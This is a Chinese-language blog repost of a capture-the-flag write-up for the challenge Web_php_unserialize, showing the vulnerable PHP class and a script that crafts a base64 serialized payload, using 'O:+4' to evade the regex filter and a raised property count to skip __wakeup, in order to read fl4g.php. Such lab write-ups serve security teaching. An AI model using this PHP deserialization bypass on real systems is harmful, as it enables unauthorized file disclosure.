WEB:Web_php_unserialize

这篇具有很好参考价值的文章主要介绍了WEB:Web_php_unserialize。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

背景知识

        反序列化函数及绕过

        正则表达式及绕过

题目

WEB:Web_php_unserialize,攻防世界,网络安全

WEB:Web_php_unserialize,攻防世界,网络安全

源码解析(参考链接在最后)

<?php 
class Demo {           //定义一个类
    private $file = 'index.php';			//变量属性
    public function __construct($file) {      //类方法
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 		//wakeup函数 返回index.php所以必须绕过次函数
            //the secret is in the fl4g.php     //flag所在文件
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) {        		 //判断是否传入参数
    $var = base64_decode($_GET['var']);  	//对传入参数进行base64加密
    if (preg_match('/[oc]:\d+:/i', $var)) { //正则检查
        die('stop hacking!'); 
    } else {
        @unserialize($var);      //进行反序列化
    } 
} else { 
    highlight_file("index.php"); 	//返回想要结果
} 
?>

 从上述源码分析可知,需满足三个条件

1.要绕过wake up 函数
__wakeup()
是在反序列化操作中起作用的魔法函数,当unserialize的时候,会检查时候存在__wakeup()函数,如果存在的话,会优先调用__wakeup()函数。

绕过:
__wakeup()函数漏洞就是与对象的属性个数有关,如果序列化后的字符串中表示属性个数的数字与真实属性个数一致,那么i就调用__wakeup()函数,如果该数字大于真实属性个数,就会绕过__wakeup()函数。

2 要绕过正则表达式
(preg_match(’/[oc]:\d+:/i’, $var))
而正则匹配的规则是: 在不区分大小写的情况下 , 若字符串出现 “o:数字” 或者 "c:数字’ 这样的格式 , 那么就被过滤 .很明显 , 因为 serialize() 的参数为 object ,因此参数类型肯定为对象 " O " , 又因为序列化字符串的格式为 参数格式:参数名长度 , 因此 " O:4 " 这样的字符串肯定无法通过正则匹配
绕过
而O:+4没被过滤说明绕过了过滤而且最后的值不变。
3.必须是base64加密

编写php脚本

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$A = new Demo ('fl4g.php');					//创建对象
$C = serialize($A);                     //对对象A进行序列化
$C = str_replace('O:4','O:+4',$C);      //绕过正则表达式过滤
$C = str_replace(':1:',':2:',$C); 		//wakeup绕过
var_dump($C);
var_dump(base64_encode($C));            //base64加密

?>

运行结果

WEB:Web_php_unserialize,攻防世界,网络安全

 得到flagWEB:Web_php_unserialize,攻防世界,网络安全

 参考链接:
攻防世界-Web_php_unserialize详解_Mr H的博客-CSDN博客

 文章来源地址https://www.toymoban.com/news/detail-595878.html

到了这里,关于WEB:Web_php_unserialize的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 攻防世界-WEB-Web_php_include

    打开靶机 通过代码审计可以知道,存在文件包含漏洞,并且对伪协议php://进行了过滤。 发现根目录下存在phpinfo 观察phpinfo发现如下: 这两个都为on 所以我们就可以使用data://伪协议 payload如下: 访问新连接 上面的payload就可以实现命令执行了 找了半天发现flag在fl4gisisish3r3.p

    2024年02月09日
    浏览(41)
  • web安全php基础_php数据类型

    PHP 支持以下几种数据类型: String(字符串) Integer(整型) Float(浮点型) Boolean(布尔型) Array(数组) Object(对象) NULL(空值) Resource(资源类型) PHP 字符串 一个字符串是一串字符的序列,就像 “Hello world!”。 可以将任何文本放在单引号和双引号中: 执行效果如下

    2024年02月12日
    浏览(56)
  • web安全php基础_搭建php环境

    首先打开phpstudy的网站栏点击创建网站,新建一个网站(域名随便输反正是局域网)然后点击确认 如下,网站便创建好了 打开浏览器输入刚刚创建网站时输入的域名,即可看见我们的网站 然后网站好了,就可以新建项目,打开phpstorm,然后点击new project新建项目, 然后在loca

    2024年02月13日
    浏览(72)
  • Web安全——PHP基础

    PHP (全称: PHP : Hypertext Preprocessor ,即\\\" PHP : 超文本预处理器 \\\")是一种通用 开源脚本语言 。 在一个php文件中可以包括以下内容: PHP 文件可包含文本、 HTML 、 JavaScript 代码和 PHP 代码 PHP 代码 在服务器上执行 ,结果以纯 HTML 形式返回给浏览器 PHP 文件的 默认文件扩展名

    2024年02月11日
    浏览(77)
  • web安全php基础_php语法格式与注释

    php脚本以php 开始 以 ?结束 但是先前创建页面的时候我们发现phpinfo只有php开头,并没有?结尾 在这里我们可以手动给它加上?结尾 PHP指令分隔符   与C、Perl及Java一样,PHP 需要在每个语句后用分号结束指令。在编写 PHP 代码的时候,我们需要在每一行代码指令后面添加一个分

    2024年02月12日
    浏览(44)
  • 【PHP代码审计】ctfshow web入门 php特性 93-104

    这段PHP代码是一个简单的源码审计例子,让我们逐步分析它: include(\\\"flag.php\\\"); : 这行代码将 flag.php 文件包含进来。如果 flag.php 文件中定义了变量 $flag ,它将在当前文件中可用。 highlight_file(__FILE__); : 这行代码将会将当前文件的源代码进行语法高亮并输出到浏览器,以便我们

    2024年02月14日
    浏览(42)
  • web安全php基础_php之string对象详解

    字符串变量用于包含有字符的值。 在创建字符串之后,我们就可以对它进行操作了。您可以直接在函数中使用字符串,或者把它存储在变量中。 在下面的实例中,我们创建一个名为 txt 的字符串变量,并赋值为 “Hello world!” 。然后我们输出 txt 变量的值: 输出如下 在 PHP 中

    2024年02月12日
    浏览(45)
  • 【php】windows下php运行已有php web项目环境配置教程

    本文操作系统使用的是win11,软件PhpStorm 2023.1 要安装的php版本可以在composer.json看到,下载安装对应版本 windows下载地址https://windows.php.net/download windows 8.0以前的版本在这里找https://windows.php.net/downloads/releases/archives/ Linux下载链接https://www.php.net/downloads nts表示非线程安全版本,我

    2024年02月11日
    浏览(50)
  • PHP基于MVC的Web应用

    预计更新 第一章:入门 1.1 环境搭建 1.2 变量和数据类型 1.3 控制流程 第二章:函数 2.1 函数的定义和调用 2.2 函数的参数和返回值 2.3 匿名函数和闭包 第三章:数组 3.1 数组的基本操作 3.2 多维数组 3.3 数组函数和排序 第四章:文件操作 4.1 文件读写 4.2 目录操作 4.3 文件上传和

    2024年02月08日
    浏览(43)
  • php连接到 Web 服务器方式和php版本选择

    1、如何将 PHP 连接到 Web 服务器? web 服务器可以通过三种方法来利用 PHP 生成 web 页面。 第一种方法是将 PHP 自以为 CGI“包装器”用作一个单独运行的语言解释器(CGI Wapper)。当以这种方法运行时,PHP 会为向 web 服务器的每个 PHP 页面请求创建 PHP 解释器的实例,并在每个请求的

    2024年02月11日
    浏览(47)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包